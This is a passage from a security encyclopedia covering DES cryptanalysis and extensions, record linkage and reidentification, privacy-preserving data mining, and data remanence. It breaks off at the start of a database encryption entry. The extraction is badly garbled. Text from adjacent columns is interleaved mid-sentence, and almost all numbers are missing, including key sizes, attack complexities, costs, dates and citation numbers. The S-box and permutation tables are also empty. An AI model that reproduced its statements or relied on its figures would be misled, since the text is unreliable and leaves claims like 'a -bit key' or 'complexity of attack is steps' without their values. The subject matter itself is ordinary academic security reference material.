feature was the existence of four weak keys, for which the
before being sent to the output. As before, the first row
cipher is an involution: EK (EK (m)) = m (for these keys
of the table refers to the first four bits of the output.
the contents of the key-schedule registers C and D is either
The selection of key bits in each round is determined all zeros or all ones), and six additional pairs of semi-weak
by a simple key scheduling algorithm. The algorithm starts keys for which EK (EK (m)) = m. The complementation
from a -bit secret key which includes parity bits that and the weak-key properties are the result of interaction
are discarded after verification (the parity of each byte of the key-schedule, which splits the key-bits into two
needs to be odd). The remaining secret key bits are first separate registers and the Feistel structure of the cipher.
Data Encryption Standard (DES) D
Data Encryption Standard (DES). Table Expansion E and permutation P
E P

D
Data Encryption Standard (DES). Table Data Encryption Standard (DES) S-boxes
S :
:
:
:
:
S :
:
:
:
:
S :
:
:
:
:
S :
:
:
:
:
S :
:
:
:
:
S :
:
:
:
:
S :
:
:
:
:
S :
:
:
:
:
Data Encryption Standard (DES). Table Initial and nal permutations
IP IP

Data Encryption Standard (DES). Table DES key schedule bit selections
PC PC

A careful study of the cycle structure of DES for weak and twist is that differential cryptanalysis was known to the
semi-weak keys has been given by Moore and Simmons designers of DES and DES was constructed in particu-
[]. See the book of Davies and Price [] for a more lar to withstand this powerful attack []. (Note that DES
detailed account on these and other features of DES iden- is strong but not optimal against linear cryptanalysis or
tified prior to . The properties of the group generated improved Davies attack, for example simple reordering of
by DES permutations have also been studied intensively. the S-boxes would make the cipher less vulnerable to these
Coppersmith and Grossman have shown [] that in prin- attacks without spoiling its strength against the differen-
ciple DES-like components can generate any permutation tial attack []. This could indicate that the designers of
from the alternating group A (all even permutations, i.e., DES did not know about such attacks.) This explains why
those that can be represented with an even number of the ciphers design criteria were kept secret. Many of these
transpositions). However, DES implements only per- secrets became public with the development of differen-
mutations, which is a tiny fraction of all the even per- tial cryptanalysis and were later confirmed by the designers
mutations. If the set of DES permutations was closed []. Both differential and linear attacks as well as Davies
under composition, then multiple encryption as used, attack are not much of a threat to real-life applications
for example in Triple-DES would be equivalent to sin- since they require more than texts for the analysis.
gle encryption and thus would not provide any additional For example, a linear attack requires known plain-
strength. A similar weakness would be present if the size texts to be encrypted under the same secret key. If the user
of the group generated by the DES permutations were changes the key every blocks, the success probability of
small. Using the special properties of the weak keys it the attack would be negligible. Nevertheless, linear attacks
has been shown that DES generates a very large group, were tested [] in practice, run even slightly faster than
with a lower-bound of permutations [, ], which theoretically predicted [], and can potentially use twice
is more than enough to make the closure attacks [] less data in a chosen plaintext scenario []. In the case of
impractical. the differential attack chosen plaintexts are required,
In the two decades since its design three important though the attack would still work if the data is coming
theoretical attacks capable of breaking the cipher faster from up to different keys. However, the huge amount of
than exhaustive search have been discovered: differential chosen plaintext makes the attack impractical. In the case of
cryptanalysis () [], linear cryptanalysis () [], Davies attack the data requirement is known plaintexts,
and the improved Davies attack [, ]. An interesting which is clearly impractical.
Data Encryption Standard (DES) D
Although differential and linear attacks are hard to strength both against cryptanalytic attacks as well as
mount on DES, they proved to be very powerful tools against exhaustive search. It is weak against related
for cryptanalysis; many ciphers which were not designed key attacks, however, and the speed is three times
to withstand these attacks have been broken, some even slower than single DES []. A two-key variant in
with practical attacks. See, for example, the cipher FEAL the form of Encrypt-Decrypt-Encrypt (E-D-E), that
[, , ]. In fact both attacks have been discovered while is, EK (DK (EK (m))) has been proposed by IBM
studying this cipher [, ], which was proposed as a more (Tuchman ) and is still in wide use by the banking
secure alternative to DES. community. The convenience of this option is that it is
Exhaustive key search currently remains the biggest backward compatible with a single DES encryption, if
threat to the security of DES []. It was clear from the very one sets K = K .
D
beginning that a -bit key can be found in practical time Independent subkeys (Berson []). The idea is to use
by using a practical amount of resources. In , a design independently generated -bit subkeys in each round.
for a key-search machine was proposed by Diffie and Hell- The total key-size is bits, which stops the exhaus-
man [] with a cost of US$ million and the ability to tive search attack. However, the cryptanalytic attacks
find a solution in a single day. Later Hellman proposed like differential orlinear do work almost as good as for
a chosen plaintext time-memory trade-off approach, DES []. The speed of this proposal is as for single DES,
which would allow to build an even cheaper machine, but it has a slower key-schedule.
assuming that a precomputation of encryption steps Slow key-schedule (Quisquater et al. [] or Knudsen
is done once for a single chosen plaintext. An effective []). Exhaustive search is stopped by loosing key-
and complete ASIC design for a key-search machine has agility of a cipher.
been proposed by Wiener in []. It was shown that DES-X (Rivest ). The idea is to XOR additional
the US$ million machine would run through the full -bits of secret key material at the input and at the
key-space in h. It became clear in that DES had to output of the cipher. See the entry on DES-X for more
be upgraded to triple-DES or be replaced; however, NIST details. This is very effective against exhaustive search,
decided to reconfirm the FIPS standard a second time but does not stop old cryptanalytic attacks on DES, and
in for another years (as FIPS -). In , the allows new related key attacks. This approach allows
Electronic Frontier Foundation (EFF) built a working ded- the reuse of old hardware. The speed is almost the same
icated hardware machine which cost less than US$ , as that of a single DES.
and could run through the full key-space in four days []. Key-dependent S-boxes (BihamBiryukov []).
In a parallel development it was shown that a network of The idea is similar to DES-X, but the secret key
tens of thousands of PCs (a computational power easily material is XORed before and after the S-boxes.
available to a computer virus, for example) could do the S-boxes are reordered to gain additional strength.
same work in several weeks. At that time the AES com- The result is secure against exhaustive search and
petition had been started. As a result of this effort DES improves the strength against cryptanalytic attacks to
has been replaced by a successor, AES, which is based on hardware which permits the loading of new S-boxes.
a -bit block //-bit key cipher Rijndael/AES. The speed is the same as that of a single DES.
Meanwhile hardware attacks on DES continued, and these
days a , euro machine consisting of FPGAs, called As of today two-key and three-key triple DES is still in
COPACOBANA [], can find a DES key in about . days wide use and is included in NIST (FIPS -, the
on average. edition []) and ISO standards. However, two-key triple
DES variants are not recommended for use due to dedi-
cated meet-in-the-middle attack by Oorschot and Wiener
Extensions of DES
[] with complexity log n steps given O(n)known plain-
So where is DES today? DES is not obsolete. Due to sub-
texts and memory. For example, if n = , complexity of
stantial cryptanalytic effort and the absence of any prac-
attack is steps. This attack is based on an earlier attack by
tical cryptanalytic attack, the structure of DES has gained
Merkle and Hellman [] which required chosen plain-
public trust. There have been several proposals to remedy
texts, steps, and memory. These attacks are hard to mount in
the short key size problem plaguing the cipher:
practice, but they are an important certificational weakness.
Triple-DES (DiffieHellman []). The idea is to The recommended usage mode for triple-DES is
multiple encrypt the block using DES three times Encrypt-Encrypt-Encrypt (E-E-E) (or Encrypt-Decrypt-
with two or three different keys. This method gains Encrypt (E-D-E)) with three independently generated keys
(i.e., key bits in total), for which the best attacks are cryptanalyze the NBS Data Encryption Standard. Technical
the classical meet-in-the-middle attack with only three report, Stanford University, USA
. Junod P () On the complexity of Matsuis attack. In:
known plaintexts, words of memory, and analysis
Vaudenay S, Youssef AM (eds) Selected areas in cryptography,
steps; and the attack by Lucks [] which requires time SAC . Lecture notes in computer science, vol . Springer,
steps and known plaintexts. These attacks are clearly Berlin, pp
impractical. . Kaliski BS, Rivest RL, Sherman AT () Is the data encryption
The DES-X alternative is also in popular use due to its standard a group? J Cryptol ():
. Kilian J, Rogaway P () How to protect DES against exhaus-
simplicity and almost no speed loss. Thorough analysis of
tive key search. In: Koblitz N (ed) Advances in cryptology
a generic construction is given in [] and the best cur- crypto. Lecture notes in computer science, vol . Springer,
rently known attack is a slide attack [] with complexity Berlin, pp
of n known plaintexts and log n analysis steps (e.g., . Knudsen LR, Mathiassen JE () A chosen-plaintext linear
known plaintexts and memory and analysis steps). attack on DES. In: Schneier B (ed) Fast software encryption,
FSE . Lecture notes in computer science, vol . Springer,
Berlin, pp
Recommended Reading . Lucks S () Attacking triple encryption. In: Vaudenay S (ed)
. Berson TA () Long key variants of DES. In: Chaum D, Rivest Fast software encryption, FSE. Lecture notes in computer
RL, Sherman AT (eds) Advances in cryptology crypto. science, vol . Springer, Berlin, pp
Lecture notes in computer science. Plenum Press, New York, . Matsui M () Linear cryptanalysis method for DES cipher.
pp In: Helleseth T (ed) Advances in cryptology eurocrypt.
. Biham E, Biryukov A () How to strengthen DES using exist- Lecture notes in computer science, vol . Springer, Berlin,
ing hardware. In: Pieprzyk J, Safavi-Naini R (eds) Advances in pp
cryptography asiacrypt. Lecture notes in computer science, . Matsui M () The first experimental cryptanalysis of the data
vol . Springer, Berlin, pp encryption standard. In: Desmedt Y (ed) Advances in cryptol-
. Biham E, Biryukov A () An improvement of Davies attack ogy crypto. Lecture notes in computer science, vol .
on DES. J Cryptol (): Springer, Berlin, pp
. Biham E, Shamir A Differential cryptanalysis of DES-like cryp- . Matsui M () On correlation between the order of S-boxes
tosystems. In Menezes and Vanstone : and the strength of DES. In: De Santis A (ed) Advances in
. Biham E, Shamir A () Differential cryptanalysis of the cryptology eurocrypt. Lecture notes in computer science,
data encryption standard. In: Menezes AJ, Vanstone SA (eds) vol . Springer, Berlin, pp
Advances in cryptology crypto. Lecture notes in computer . Matsui M, Yamagishi A () A new method for known plain-
science, vol . Springer, Berlin, pp text attack of FEAL cipher. In: Rueppel RA (ed) Advances in
. Biryukov A, Wagner D () Advanced slide attacks. In: cryptology eurocrypt. Lecture notes in computer science,
Preneel B (ed) Advances in cryptology eurocrypt . Lec- vol . Springer, Berlin, pp
ture notes in computer science, vol . Springer, Berlin, pp . Menezes A, Vanstone SA (eds) (). In: Menezes AJ, Vanstone
SA (eds) Advances in cryptology crypto. Lecture notes in
. Campbell KW, Wiener MJ () DES is not a group. In: computer science, vol . Springer, Berlin
Brickell EF (ed) Advances in cryptology crypto. Lec- . Merkle RC, Hellman ME () On the security of multiple
ture notes in computer science, vol . Springer, Berlin, encryption. Commun ACM ():
pp . Miyaguchi S () The FEAL- cryptosystem and a call for
. Coppersmith D () The data encryption standard (DES) attack. In: Brassard G (ed) Advances in cryptology crypto.
and its strength against attacks. IBM J Res Develop (): Lecture notes in computer science, vol . Springer, Berlin,
pp
. Coppersmith D, Grossman E () Generators for certain alter- . Miyaguchi S The FEAL cipher family. In Menezes and Vanstone
nating groups with applications to cryptography. SIAM J Appl ():
Math (): . Moore JH, Simmons GJ () Cycle structures of the DES with
. Damgard I, Knudsen LR () Two-key triple encryption. weak and semi-weak keys. In: Odlyzko AM (ed) Advances in
J Cryptol (): cryptology crypto. Lecture notes in computer science, vol
. Davies DW, Price WL () Security for computer networks, . Springer, Berlin, pp
nd edn. Wiley, New York . National Institute of Standards and Technology () FIPS-:
. Davies DW, Murphy S () Pairs and triplets of DES S-Boxes. data encryption standard (DES). Revised as FIPS -:, FIPS
J Cryptol (): -:, FIPS -:, available at<??>
. Diffie W, Hellman M () Exhaustive cryptanalysis of the NBS . Quisquater J-J, Desmedt J, Davio M () The importance of
data encryption standard. Computer (): good key scheduling schemes (how to make a secure DES
. Electronic Frontier Foundation (EFF) () DES cracker. scheme with bit keys). In: Brassard HC (ed) Advances in
http://www.eff.org/DEScracker/ cryptology crypto. Lecture notes in computer science, vol
. Feistel H () Cryptography and computer privacy. Scientific . Springer, Berlin, pp
American : . sci.crypt () Subject: DES and differential cryptanalysis .
. Hellman ME, Merkle R, Schroppel R, Washington L, Diffe W, Unpublished. http://www.esat.kuleuven.ac.be/biryuko/copp
Pohlig S, Schweitzer P () Results of an initial attempt to ersmith_letter.txt
Data Linkage D
. Shimizu A, Miyaguchi S () Fast data encipherment algo- models from which it is possible to draw synthetic data
rithm FEAL. In: Chaum D, Price WL (eds) Advances in that meet various analytic restraints. Although rigorous
cryptology eurocrypt. Lecture notes in computer science,
differential privacy methods assure privacy and eliminate
. Smid M, Branstad D () The data encryption standard: past
reidentification risk [], the methods typically need to add
and future. Proc IEEE (): so much noise as to make a public-use file difficult or
. Smith JL () The design of Lucifer: A cryptographic device impossible to analyze effectively [].
for data communications. Technical report, IBM T.J. Watson Reidentification uses purely analytic means of reiden-
Research Center, Yorktown Heights
tification, a combination of analytic means and record
. van Oorschot PC, Wiener MJ () A known plaintext attack
linkage, or only record linkage. If a subdomain in the data
on two-key triple encryption. In: Damgrd I (ed) Advances in
having less than records and ten or more variables
D
cryptology eurocrypt. Lecture notes in computer science,
vol . Springer, Berlin, pp were required to preserve means and covariances, then a
. Wiener M () Efficient des key search. Practical cryptogra- purely analytic method based on solving equations and
phy for data internetworks, presented at the rump session of
unknowns could reconstruct the original data records for
CRYPTO, pp
. Kumar S, Paar C, Pelzl J, Pfeiffer G, Schimmler M Breaking
the subdomain. In some situations, users of the public-use
ciphers with COPACOBANA - a cost-optimized parallel code microdata may require that analytic properties of contin-
breakerCHES. Lecture notes in computer science, vol . uous and other variables be preserved on subdomains.
Springer, Berlin, pp An example might be that a few analyses of income and
other variables be preserved on subdomains determined
by state, age-range, sex, and race. Information might be
reidentified for certain rare combinations such as a high-
Data Linkage income Asian-ancestry woman of age greater than
within a particular state. The reidentification might use
William E. Winkler publicly available voter registration lists and house assess-
Statistical Research Division, U.S. Bureau of the Census, ment information. With suitable input files, record linkage
Washington, DC, USA software can both speed up the work and increase the
reidentification rate.
Organizations that produce public-use microdata X
Synonyms from original microdata X can never be certain what
Entity resolution; Record linkage microdata Y an intruder may have. They can perform rei-
dentification experiments that compare X directly with X.
The organization will need to extrapolate how much lower
Related Concepts
the reidentification rate might be with data Y available
Macrodata Protection; Microdata Protection; Mixture
to an intruder. Reidentification experiments of X against
Models; Vein Patterns
X are straightforward to run by relatively inexperienced
individuals and often yield unexpected reidentifications.
Denition Although reidentification might be done using cluster-
Data linkage consists of methods for matching duplicates
ing or nearest-neighbor software, record linkage software
within or across files using nonunique identifiers such as
(with slightly enhanced features) is often superior. Record
first name, last name, date-of-birth, address, and other
linkage software implicitly and effectively rescales numeric
characteristics such as income and sex.
data and, when parameters are effectively estimated by
an unsupervised learning method such as the EM algo-
Background rithm [], weights the relative distinguishing power of dif-
Many analysts prefer microdata instead of tables of aggre- ferent fields. Record linkage with suitable intruder files
gates in publications. To meet analytic needs, organizations Y has traditionally been considered a gold standard for
create public-use microdata that may allow the approx- evaluating reidentification risk [].
imate reproduction of a few analyses from the original,
confidential microdata. To maintain privacy, organizations
must assure that the released microdata do not allow the Theory
reidentification of individuals with records in the micro- A record linkage process attempts to classify pairs in a
data. To reduce reidentification risk, organizations may product space A B from two files A and B into M, the
mask the data with methods such as additive noise or create set of true links, and U, the set of true nonlinks. Fellegi
D Data Linkage
and Sunter [] considered ratios R of probabilities of the univariate adjustments to the matching weights are done
form such as similar adjustments in commercial record link-
R = Pr( M)/Pr ( U) () age software. When two quantitative items a and b do
not agree exactly, a linear adjusts the agreement matching
where is an arbitrary agreement pattern in a compari-
weight downward to the disagreement weight according to
son space . For instance, might consist of eight patterns
a tolerance. Specifically, the adjustment is
representing simple agreement or not on surname, first
name, and age. Alternatively, each might addition- wadj = max ({wadj (wagr wdis ) a b /( min (a, b))}, wdis ),
ally account for the relative frequency with which specific
surnames, such as Scheuren or Winkler, occur or deal where wadj , wagr , wdis are the adjusted weight, full agree-
with different types of comparisons of quantitative data. ment weight, and full disagreement weights, respectively,
The fields compared (surname, first name, age, income) are and is the proportional tolerance for the deviation (
called matching variables. In the special case when agree- ). The full agreement weights wagr and disagree-
ment on fields is conditionally independent given M and ment weights wdis are the natural logarithms of () that
U and there are training data, the FellegiSunter methods are obtained via the EM algorithm. The tolerance is esti-
agree with nave Bayes in machine learning. mated using experience and looking at matching results.
The decision rule is given by For certain empirical examples, is taken to be ..
If R > Upper, then designate pair as a link. For reidentification experiments in which noise levels are
If Lower R Upper, then designate pair as a relatively lower than in actual record linkage situations,
possible link and hold for clerical review. might be set to .. The approximation will not gener-
If R < Lower, then designate pair as a nonlink. ally yield accurate match probabilities but works well in
the matching decision rules. An assignment algorithm due
Fellegi and Sunter [] showed that this decision rule is to [] forces matching as an efficient global approach
optimal in the sense that for any pair of fixed bounds on to matching the entire original data sets with the entire
R, the middle region is minimized over all decision rules masked data sets. Specifically, the algorithm uses pairs
on the same comparison space . The cutoff thresholds, (i,j) I where I minimizes
Upper and Lower, are determined by the error bounds.
The ratio R or any monotonely increasing transformation
{ (i, j)I wi j I J} ,
of it (typically a logarithm) is called a matching weight
or total agreement weight. Likely reidentifications, called
where wij is the comparison weight for record pair (i, j),
matches, are given higher weights, and other pairs, called
and J is the set of index sets I in which at most one
nonmatches, are given lower weights.
column and at most one row are present. That is, if
In practice, the numerator and denominator in () are
(i, j) I and (k, l) I, then either i k or j
not always easily estimated. The deviations of the estimated
l. The algorithm of Winkler is similar to the classic
probabilities from the true probabilities can make applica-
algorithm of Burkard and Derigs (see, e.g., []) in that
tions of the decision rule suboptimal. Fellegi and Sunter []
it uses Dijkstras shortest augmenting path for many
were the first to observe that
computations and has equivalent computational speed.
Pr ( ) = Pr ( M) Pr (M) + Pr ( U) Pr (U) It differs because it contains compression/decompression
() routines that can reduce storage requirements for the
could be used in determining the numerator and denom- array of weights wi j by a factor of in some match-
inator in () when the agreement pattern consists of ing situations. When a few matching pairs in a set can
simple agreements and disagreements of three variables be reasonably identified, many other pairs can be easily
and a conditional independence assumption is made. identified via the assignment algorithm. The assignment
The left-hand side is observed and the solution involves algorithm has the effect of drastically improving match-
seven equations with seven unknowns. In general, the EM ing efficacy, particularly in reidentification experiments
algorithm is used to estimate the probabilities on the right- of the type given in this entry. For instance, if a moder-
hand side of (). To best separate the pairs into matches ate number of pairs associated with true reidentifications
and nonmatches, a version of the EM algorithm for latent have probability greater than . when looked at in isola-
classes [] determines the best set of matching param- tion, the assignment algorithm effectively sets their match
eters under certain model assumptions that are not probabilities to . because there are no other suitable
seriously violated with real data. In computing partial records with which the truly matching record should be
agreement probabilities for quantitative data, simple combined.
Data Mining (Privacy in) D
Applications . Winkler WE () General discrete-data modeling methods

Kim and Winkler [] describe an application where for producing synthetic data with reduced re-identification
risk that preserve analytic properties, IAB workshop on con-
Current Population Survey (CPS) data were combined
fidentiality and disclosure. http://fdz.iab.de/en/FDZ_Events/
with detailed income data from the Internal Revenue Ser- SDC-Workshop.aspx, Nuremberg, Germany, November ,
vice (IRS). The data were used by the Department of , downloadable from workshop site
Health and Human Services (HHS) to analyze poverty and
the Department of the Treasury to evaluate tax policy.
The merged files were masked using a modified addi-
tive noise procedure to satisfy both Census and IRS Data Mining (Privacy in)
privacy restrictions. In particular, IRS, that had nearly
D
perfect data for reidentification, could not reidentify
Charu C. Aggarwal
Census data.
IBM T. J. Watson Research Center, Hawthorne, NY, USA
Kim and Winkler produced a file X from original
data X using small amounts of additive noise and adjust-
ments so that analytic properties were preserved on a large Synonyms
number of subdomains. The subdomains were by state, Anonymity in data mining
age-ranges, sex, and race categories that HHS and Trea-
sury required. Initial experiments matching X against X Related Concepts
(conservatively) showed that approximately % of records Data Distortion; k-Anonymity; Randomization
might be reidentified. Although X is a relatively small sam-
ple of the entire U.S. population, various records (outliers) Denition
had quite high values in various income categories associ- Privacy in data mining refers to the process of down-
ated with individual subdomains and were easily reidenti- grading portions of the data or transforming the data in
fied. Such outliers in samples are typically also outliers in some way, so that sensitive information about individuals
the entire population. To reduce reidentification risk to at and organization remains hidden but the data can still be
most .%, Kim and Winkler developed a controlled swap- used for mining purposes. The expense of doing so is usu-
ping procedure that preserved the analytic properties in ally a reduction in the quality of the underlying mining
the required subdomains. Kim and Winkler showed that algorithms.
the controlled swapping procedure often yielded severe
analytic degradation in subdomains where analytic prop- Background
erties could not be preserved. With the increase in the availability of data collection tech-
niques, an increased amount of data continues to become
available to individuals and organizations. Some of this
Recommended Reading
data is sensitive because it includes private information
. Dempster AP, Laird NM, Rubin DB () Maximum likelihood
from incomplete data via the EM algorithm. J R Stat Soc B :
about individuals which they may not normally like to
share. At the same time, this information may be very
. Dwork C, McSherry F, Talwar K () Differentially pri- useful for data mining purposes. This has resulted in the
vate marginals release with mutual consistency and error inde- area of privacy-preserving data mining, in which the usual
pendent sample size. UNECE Worksession on Statistical Data
approach is to downgrade or reduce the representation
Confidentiality, Manchester, UK at http://www.unece.org/stats/
documents///confidentiality/wp..e.pdf
accuracy of some portions of the data. The goal is to
. Fellegi IP, Sunter AB () A theory for record linkage. J Am Stat increase the privacy of certain portions of the data, while
Assoc : preserving utility.
. Kim JJ, Winkler WE () Masking microdata files. Ameri-
can Statistical Association, Proceedings of the section on survey
research methods. pp (http://www.amstat.org/sections/
Theory and Algorithms
SRMS/Proceedings/papers/_.pdf, longer report http://
In recent years, data mining has been viewed as a threat
www.census.gov/srd/papers/pdf/rr-.pdf) to privacy because of the widespread proliferation of elec-
. Lambert D () Measures of disclosure risk and harm. tronic data maintained by corporations. This has lead to
J Off Stat : (http://www.jos.nu/Articles/abstract.asp? increased concerns about the privacy of the underlying
article=)
data. A number of techniques have been proposed for
. Winkler WE () Advanced methods for record linkage. Amer-
ican Statistical Association, Proceedings of the section on sur-
modifying or transforming the data in such a way so as
vey research methods. pp (longer version http://www. to preserve privacy. A survey on some of the techniques
census.gov/srd/papers/pdf/rr-.pdf) used for privacy-preserving data mining may be found
D Data Mining (Privacy in)
in []. Here we briefly overview the state of the art in Distributed privacy preservation: In many cases, indi-
privacy-preserving data mining. vidual entities may wish to derive aggregate results
Privacy-preserving data mining finds numerous appli- from data sets which are partitioned across these enti-
cations in surveillance which are naturally supposed to be ties. Such partitioning may be horizontal (when the
privacy-violating applications. The key is to design meth- records are distributed across multiple entities) or ver-
ods which continue to be effective, without compromising tical (when the attributes are distributed across mul-
security. A number of techniques have been discussed for tiple entities). While the individual entities may not
bio-surveillance, facial de-identification, and identity theft. desire to share their entire data sets, they may con-
Another important field is that of medical and DNA data sent to limited information sharing with the use of a
in which a lot of sensitive information, such as diseases, variety of protocols. The overall effect of such methods
is associated with data. While such data are very useful is to maintain privacy for each individual entity, while
for mining purposes, the sensitivity of the data makes its deriving aggregate results over the entire data.
distribution a considerable challenge. Downgrading Application Effectiveness: In many cases,
Most methods for privacy computations use some even though the data may not be available, the out-
form of transformation on the data in order to perform put of applications such as association rule mining,
the privacy preservation. Typically, such methods reduce classification, or query processing may result in vio-
the granularity of representation in order to increase pri- lations of privacy. This has lead to research in down-
vacy. This reduction in granularity results in some loss of grading the effectiveness of applications by either data
effectiveness of data management or mining algorithms. or application modifications. Some examples of such
This is the natural trade-off between information loss techniques include association rule hiding, classifier
and privacy. Some examples of such techniques are as downgrading, and query auditing.
follows:
Thus, broadly speaking privacy-preserving data mining
techniques can be divided into input-based and output-
The randomization method: The randomization method
based schemes. In input-based schemes, the base data
is a technique for privacy-preserving data mining in
is anonymized, so that it can either be de-identified or
which noise is added to the data in order to mask
the sensitive attributes can be preserved. In output-based
the attribute values of records. The noise added is
methods, the output of the data mining or database query-
sufficiently large so that individual record values can-
processing techniques are controlled, so that sensitive
not be recovered. Therefore, techniques are designed
information about the base data cannot be easily inferred.
to derive aggregate distributions from the perturbed
More details about such techniques may be found in [].
records. Subsequently, data mining techniques can
be developed in order to work with these aggregate
distributions. Applications
The k-anonymity model and l-diversity: The k- The problem of privacy-preserving data mining has
anonymity model was developed because of the pos- numerous applications in homeland security, medical
sibility of indirect identification of records from database mining, and customer transaction analysis.
public databases. This is because combinations of Some of these applications such as those involving bioter-
record attributes can be used to identify individual rorism and medical database mining may intersect in
records. In the k-anonymity method, the granular- scope. In this section, a number of different applica-
ity of the data representation is reduced with the use tions of privacy-preserving data-mining methods will be
of techniques such as generalization and suppression. discussed.
This granularity is reduced sufficiently that any given
record maps onto at least k other records in the data. Medical Databases
The l-diversity model was designed to handle some The scrub system was designed for de-identification of
weaknesses in the k-anonymity model since protect- clinical notes and letters which typically occurs in the form
ing identities to the level of k-individuals is not the of textual data. Clinical notes and letters are typically in
same as protecting the corresponding sensitive val- the form of text which contain references to patients, fam-
ues, especially when there is homogeneity of sensitive ily members, addresses, phone numbers, or providers. The
values within a group. To do so, the concept of intra- Scrub system uses numerous detection algorithms which
group diversity of sensitive values is promoted within compete in parallel to determine when a block of text
the anonymization scheme. corresponds to a name, address, or a phone number. The
Data Mining (Privacy in) D
Scrub System uses local knowledge sources which com- threat to homeland security. In the credential vali-
pete with one another based on the certainty of their dation approach, an attempt is made to exploit the
findings. The Datafly System was one of the earliest prac- semantics associated with the social security number
tical applications of privacy-preserving transformations. to determine whether the person presenting the SSN
This system was designed to prevent identification of the credential truly owns it.
subjects of medical records which may be stored in mul- Identity theft: A related technology is to use a more
tidimensional format. The multidimensional information active approach to avoid identity theft. The identity
may include directly identifying information such as the angel system crawls through cyberspace and deter-
social security number, or indirectly identifying informa- mines people who are at risk from identity theft.
tion such as age, sex, or zip-code. The system was designed This information can be used to notify appropriate
D
in response to the concern that the process of removing parties. Note, that both the above approaches to pre-
only directly identifying attributes such as social security vention of identity theft are relatively noninvasive and
numbers was not sufficient to guarantee privacy. While the therefore do not violate privacy.
work has a similar motive as the k-anonymity approach Web camera surveillance: One possible method for
of preventing record identification, it does not formally surveillance is with the use of publicly available web-
use a k-anonymity model in order to prevent identification cams, which can be used to detect unusual activity.
through linkage attacks. Note that this is a much more invasive approach than
the previously discussed techniques because of person-
Bioterrorism Applications specific information being captured in the webcams.
In typical bioterrorism applications, medical data may be The approach can be made more privacy-sensitive
analyzed for privacy-preserving data mining purposes. by extracting only facial count information from the
Often a biological agent such as anthrax produces symp- images and using these in order to detect unusual activ-
toms which are similar to other common respiratory dis- ity. Such unusual activity can be detected only in terms
eases such as cough, cold, and flu. In the absence of prior of facial count rather than using more specific informa-
knowledge of such an attack, health-care providers may tion about particular individuals. In effect, this kind of
diagnose a patient affected by an anthrax attack of have approach uses a domain-specific downgrading of the
symptoms from one of the more common respiratory dis- information available in the webcams in order to make
eases. The key is to quickly identify a true anthrax attack the approach privacy-sensitive.
from a normal outbreak of a common respiratory disease. Video surveillance: In the context of sharing video-
In many cases, an unusual number of such cases in a given surveillance data, a major threat is the use of facial
locality may indicate a bioterrorism attack. Therefore, in recognition software, which can match the facial
order to identify such attacks, it is necessary to track inci- images in videos to the facial images in a driver license
dences of these common diseases as well. Therefore, the database. While a straightforward solution is to com-
corresponding data would need to be reported to public pletely black out each face, the result is of limited new,
health agencies. However, the common respiratory dis- since all facial information has been wiped out. A more
eases are not reportable diseases by law. A possible solution balanced approach is to use selective downgrading of
is that of selective revelation which initially allows only the facial information, so that it scientifically limits the
limited access to the data, but, in the event of suspicious ability of facial recognition software to reliably iden-
activity, it allows a drill-down into the underlying data. tify faces, while maintaining facial details in images.
This provides more identifiable information in accordance The algorithm is referred to as k-Same, and the key
with public health law. is to identify faces which are somewhat similar, and
then construct new faces that construct combinations
of features from these similar faces. Thus, the identity
Homeland Security Applications
of the underlying individual is anonymized to a cer-
A number of applications for homeland security are inher-
tain extent, but the video continues to remain useful.
ently intrusive because of the very nature of surveillance.
Thus, this approach has the flavor of a k-anonymity
Some examples of such applications are as follows:
approach, except that it creates new synthesized data
Credential validation problem: In this problem, one for the application at hand.
is trying to match the subject of the credential to The watch list problem: The motivation behind this
the person presenting the credential. For example, the problem is that the government typically has a list
theft of social security numbers presents a serious of known terrorists or suspected entities which it
D Data Remanence
wishes to track from the population. The aim is to Even with a perfectly positioned write head, the hys-
view transactional data such as store purchases, hospi- teresis properties of ferromagnetic media can result in
tal admissions, airplane manifests, hotel registrations, a weak form of previous data to remain recognizable
or school attendance records in order to identify or in overwritten areas. This allows the partial recovery of
track these entities. This is a difficult problem because overwritten data, in particular with older low-density
the transactional data is private, and the privacy of recording techniques. Protection measures that have
subjects who do not appear in the watch list need been suggested in the literature against such data
to be protected. Therefore, the transactional behav- remanence include encryption, multiple overwriting
ior of non-suspicious subjects may not be identified of sensitive data with alternating or random bit pat-
or revealed. Furthermore, the problem is even more terns, the use of special demagnetization (degauss-
difficult if one assumes that the watch list cannot be ing) equipment, or even the physical destruction
revealed to the data holders. The second assumption (e.g., shredding, burning) of media at the end of its
is a result of the fact that members on the watch list life time.
may only be suspected entities and should have some The CMOS flip-flop circuits used in static RAM have
level of protection from identification as suspected ter- been observed to retain data for minutes, at low tem-
rorists to the general public. The watch list problem is peratures in some cases even for hours, after the supply
currently an open problem. voltage has been removed []. The data remanence
of RAM can potentially be increased where mem-
Recommended Reading ory cells are exposed to constant data for extended
. Aggarwal CC, Yu PS (ed) () Privacy preserving data mining: periods of time or in the presence of ionizing radi-
models and algorithms, Springer, New York ation (burn in). Protection measures that are used
in some commercial security modules include sen-
sors for low temperature and ionizing radiation.
These have to be connected to battery-powered alarm
Data Remanence circuits that purge security RAM instantly in unusual
environments. Another protection technique inverts or
Markus Kuhn rotates bit patterns every few seconds, to avoid long-
Computer Laboratory, University of Cambridge, term exposure of memory cells to a constant value
Cambridge, UK (RAM saver).
File and database systems do not physically overwrite
(purge) data when it is deleted by the user, unless
Denition special data-purging functions designed for security
Data remanence is the ability of computer memory to applications are used. When objects are deleted, nor-
retain previously stored information beyond its intended mally their storage area is only marked as available
lifetime. for reallocation. This leaves deleted data available for
recovery with special undelete software tools until the
time when the respective memory location is needed
Application
to store new data.
With many data storage techniques, information can be
recovered using specialized techniques and equipment
even after it has been overwritten; examples include:
Recommended Reading
. NCSC-TG- () A guide to understanding data remanence
Write heads used on exchangeable media (e.g., floppy in automated information systems. National Computer Secu-
disks, magstripe cards) differ slightly in position and rity Center, United States Department of Defense, September

width due to manufacturing tolerances. As a result, one
. Gutmann P () Data remanence in semiconductor devices.
writer might not overwrite the entire area on a medium In: Proceedings of the th USENIX security symposium,
that had previously been written to by a different Washington, DC, August
device. Normal read heads will only give access to the . Gutmann P () Secure deletion of data from magnetic and
most recently written data, but special high-resolution solid-state memory. In: Sixth USENIX security symposium pro-
ceedings, San Jose, CA, pp
read techniques (e.g., magnetic-force microscopy) can
. Skorobogatov S () Low temperature data remanence in
give access to older data that remains visible near the static RAM. Technical Report UCAM-CL-TR-, University of
track edges. Cambridge, Computer Laboratory
Database Encryption D
cryptographic techniques to complement and reinforce the

Database Encryption access control has recently received much attention from
the database community [, ]. The purpose of database
Luc Bouganim, Yanli Guo encryption is to ensure the database opacity by keep-
